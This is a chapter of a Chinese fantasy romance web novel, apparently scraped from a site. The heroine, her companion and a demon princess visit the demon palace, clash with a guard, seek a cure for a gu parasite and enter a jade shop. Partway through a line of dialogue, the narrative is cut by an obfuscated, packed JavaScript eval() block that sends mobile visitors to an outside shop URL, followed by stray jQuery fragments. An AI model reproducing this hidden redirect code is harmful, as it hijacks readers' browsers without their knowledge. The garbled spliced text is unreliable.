65. 第 65 章

作品:《明月高悬只能照我

    翌日清晨,晨光洒在积雪未消的檐角,薄霜泛着微光。


    雁丹青一袭水蓝色织锦长裙,神色散漫倚靠在客栈门旁,通体漆黑的长鞭圈在腰间,更添几分英气。


    一袭白衣的男人缓缓踏出门槛,眸色一顿,微风拂过雁丹青的发丝,几缕青丝轻扬,掠过她微扬的眉梢。


    两人四目相对,沈寂尘身形微微一滞,手指下意识想要拂去她眼尾的发丝。


    雁丹青勾了勾唇,正欲开口,一道轻快的声音却从身后传来:“早上好啊小雁!”


    凤烬挑着眉,一脸促狭从沈寂尘身后探出来,快步越过沈寂尘走到雁丹青身边,隔在两人中间,笑嘻嘻地揽上她的肩膀,“这身衣服颜色真是衬你,我们走吧。”


    雁丹青凤眸微眯,不动声色避开她伸过来的手,腰间长鞭随着动作擦过凤烬的袖角,轻轻撞了一下凤烬的手腕。


    雁丹青上前一步站定在沈寂尘身旁,两人并肩而立,衣袖交叠,雁丹青淡淡道:“走吧。”


    凤烬见状撇了撇嘴,轻嗤一声,大步越过两人,独自走在最前方。


    透过衣衫,感受到肩膀处传来的温热体温,沈寂尘眸子一动,侧头的瞬间正巧落入雁丹青清亮的眸中。


    雁丹青的视线划过他微翘的唇角,缓缓上移,停驻在他微微泛红的耳廓上,明明是极平常的视线,偏偏那耳廓在她的注视下愈发灼热起来。


    “走吧。”


    说罢,雁丹青率先迈步向前,裙摆摇曳,她的身体向前与沈寂尘拉开一个身位,手指却明目张胆勾住他垂在身侧的指尖。


    沈寂尘被她扯得身体微微前倾,随即迈开腿与她并肩而行。


    出了城,便可御剑而行……


    寒风掠过山脊,一抹银光在云层间闪过,隐约可见剑刃上并肩而立的两道身影……


    *


    金殿空旷阴冷,零散的侍卫执戟而立,幽暗的殿内零散嵌着几颗泛着乳白色微光的夜明珠。


    凤烬大摇大摆跨进殿门,倏然扬起手,一缕灵力自指尖迸出,整个大殿瞬间明亮起来,夜明珠光芒骤盛,墙壁上缓缓浮现出一幅幅流动的星图,银线交织成山川河流,一朵朵散发着幽蓝微光的星辰花在星图中悬浮着,花瓣轻颤,点点微光如呼吸般明灭。


    一人影自大殿迎来,一身甲胄寒光凛冽,快步朝着雁丹青袭来,手上长枪泛着寒芒。


    雁丹青不为所动,直直站在原地,眸色冷冷看着那长枪直奔自己的喉咙而来。


    近在咫尺间,一道白色身影自她身后倏然掠出,衣袍翻飞,凛冽的灵光如剑锋般斩断枪头,在雁丹青面前铮然一声坠入地面。


    沈寂尘缓缓抬头,眸色阴沉,修长的身躯半遮着身后的人,雪白的衣袖垂落,周身气息如霜雪般冷冽。


    一向温润的声线此刻却裹着寒霜,视线紧紧盯着面前的侍卫,薄唇轻启:“滚。”


    那侍卫浑身一颤,面上泛起一抹红,紧蹙着眉死死盯着雁丹青隐在沈寂尘身后的半张脸,握着枪杆的手青筋暴起,双腿却无法再向前半寸。


    “音铎,你干什么!”凤烬反应过来,急忙去拉那侍卫,半拽半拖将他往后一扯,冷声呵斥,“她是我请来的贵客!”


    音铎胸膛剧烈起伏,目光如刀剜向雁丹青,恨恨道:“仙族的人,怎么随意来我魔族。”


    雁丹青轻轻一笑,自沈寂尘身后缓步而出,指尖拂过腰间鞭柄,慢吞吞道:“你们魔族的人,前不久不也去了我仙门?”


    她眸中戏谑,一副看戏的模样,音铎见状额角青筋一跳,目眦尽裂瞪着雁丹青。


    雁丹青见他胸膛起伏,唇边笑意愈深,眼尾微扬,“怎么,只许你们入我仙门,不许我踏足你们魔宫?魔族原是这般不懂礼数?”


    “好了好了!”凤烬忙挡在两人中间,抬手一拍音铎后背,“仙魔势不两立也是陈芝麻烂谷子的事了!音铎你冷静一点……”


    音铎喉结滚动,终究咬牙垂首退后半步,站定在凤烬身后半步。


    见两人终于偃旗息鼓,凤烬松了口气,侧头去看音铎,“我父王呢?”


    音铎沉声道:“魔主自你走后不久也去了人间,一直未有消息。”


    凤烬一怔,转过身面对着音铎,疑惑道:“父王也去人间了?他走前可留了什么话?”


    音铎依旧是垂着头的模样,缓缓摇了摇头,低声道:“想来也是为了开智阵法一事,魔主法力深不可测,不必担心。”


    凤烬随即点点头,神色松懈下来:“那是,父王功力深厚。”她顿了顿,又道:“近日可有族人失踪?”


    音铎眼神微闪,指尖无意识摩挲枪杆,缓缓道:“又有两人不见了。”


    闻言,凤烬沉默下来,抬眸去看雁丹青,“我父王不在,待他回来与之商议后再定夺此事。”


    雁丹青点点头,“行,蛊虫呢?”


    “蛊虫啊……”凤烬刻意拉着长音,眸子朝沈寂尘方向一瞥,唇边微微一翘,“这么着急吗?”


    雁丹青冷冷睨她一眼,指尖在腰间鞭柄上轻轻一叩,冲凤烬挑了挑眉。


    见她面色不善,凤烬连忙道:“走走走,去集市带你见见世面。”


    她大步朝着殿外走去,声音落在身后,传入音铎耳边:“音铎,你也一起。”


    四人走出大殿,魔族天气与人间无异,只是少了漫漫白雪。


    柔和的阳光洒落在几人肩头,微风带着凉意吹起衣袍,发丝随风轻扬,一片明媚之景。


    集市嘈杂,竟丝毫不逊色人间。


    摊贩林立,叫卖声此起彼伏,若是说不同,便是那些摊主皆非寻常人。


    一身黑袍佝偻老者拄着乌木杖,张口叫卖商品竟是尖细的女子嗓音,难辨性别;与人族无异的貌美女子操着粗犷的男声叫卖着铁器;更有扭着水蛇腰的纤细女子站在街边摇着蒲扇,唇间吐出的却是沙哑苍老的男声。


    “……”雁丹青看着眼前光怪陆离之景,心中迟疑——跟着凤烬来这寻找解蛊之法……真的靠谱吗?


    凤烬却已熟门熟路拐进一条窄巷,带着三人站定在巷尾紧闭的大门前。


    “说集市有解蛊之法是骗你的,但是这里面的人决定能解决蛊虫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355655|195537||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”说罢,凤烬抬手叩响门环。


    几人未等来门开的回应,凤烬抬手欲推开大门,门微微滑出一条缝。


    雁丹青顺着门缝向内看去,不等看清,门倏然从内被大力闭合,恍惚间,雁丹青只记得看到一女子青丝如瀑,双手环在男子腰间。


    门后传来一声轻笑,如铃摇曳,不知说了什么,反倒是门内传来一阵怒吼:“荒谬!”


    男子中气十足的声音从门内传来,凤烬忙拉着几人后退半步,抬手做了个噤声的手势。


    随即冲几人挥挥手,轻声道:“先走吧,晚上再来。”


    雁丹青微蹙着眉,侧目去看凤烬。几人走到巷口拐角处,凤烬才缓缓开口:“这住的是一对人间兄妹。”


    闻言,雁丹青朝她看去,“人族?”


    凤烬点点头,“几年前误入边界被我发现,就将他们带来了这里。”


    “那为何说他们一定能解决?”


    “他们是南疆人。”音铎突然出声。


    凤烬赞同点头:“南疆蛊术,他们最是精通。他们本是人族高门,因一场叛乱流落至此,被我救下后,索性便留在了这里。”


    “那便晚上再来。”雁丹青轻声道。


    若是她没看错,凤烬口中的亲兄妹,方才在门内分明是彼此依偎、气息交缠的亲密姿态。


    也不知解蛊能否顺利…


    沈寂尘始终一言不发跟在她身侧,此时几人闲暇下来,雁丹青对着凤烬道:“那晚上就在这里会合。”


    话罢,她转身望向沈寂尘,手指搭在他的小臂上,两人一同离开小巷。


    身后传来凤烬跺脚的声响,“卸磨杀驴!”


    雁丹青未回头,掀起唇角,心里赞同道:确实是卸磨杀驴……


    两人沿着集市踱步而行,这魔族的集市多是异域奇珍与诡谲符箓,雁丹青被路边一家与集市格格不入的玉器店吸引。


    “去那看看。”她拉着沈寂尘,朝着玉器店走去。


    门脸古朴,匾额上“鸾筝”二字墨色沉静,笔锋有力,门楣垂落一串青玉风铃,微风过处,脆响如清泉。


    迈入门内一股冷香沁入肺腑,大小玉器琳琅,温润之感扑面而来。


    店内无人,唯有桌上一杯清茶已凉透,翠绿的嫩叶静静浮在水面。


    柜面中一枚温润白玉静静躺在紫檀托盘中,玉身透出淡青脉络,仿佛凝着一泓活水。


    这枚白玉让她下意识想到沈寂尘,很漂亮,很像他。


    一尘不染,却偏生带着几分孤冷疏离。


    内里却似一汪活水。


    等了许久也不见店铺主人,雁丹青轻声叹口气,正欲转身,风铃忽而一响,帘后转出个高挑男子。


    身材修长,一袭墨色锦袍,眼睫狭长,风流倜傥。


    他目光停在雁丹青脸上,随即落在沈寂尘身上,淡淡道:“可有满意的?”


    雁丹青抬手指着那枚白玉,“这个怎么卖?”


    “不卖。”男子一如既往淡漠,“只赠有缘人。”


    雁丹青挑眉,“何为有缘人?”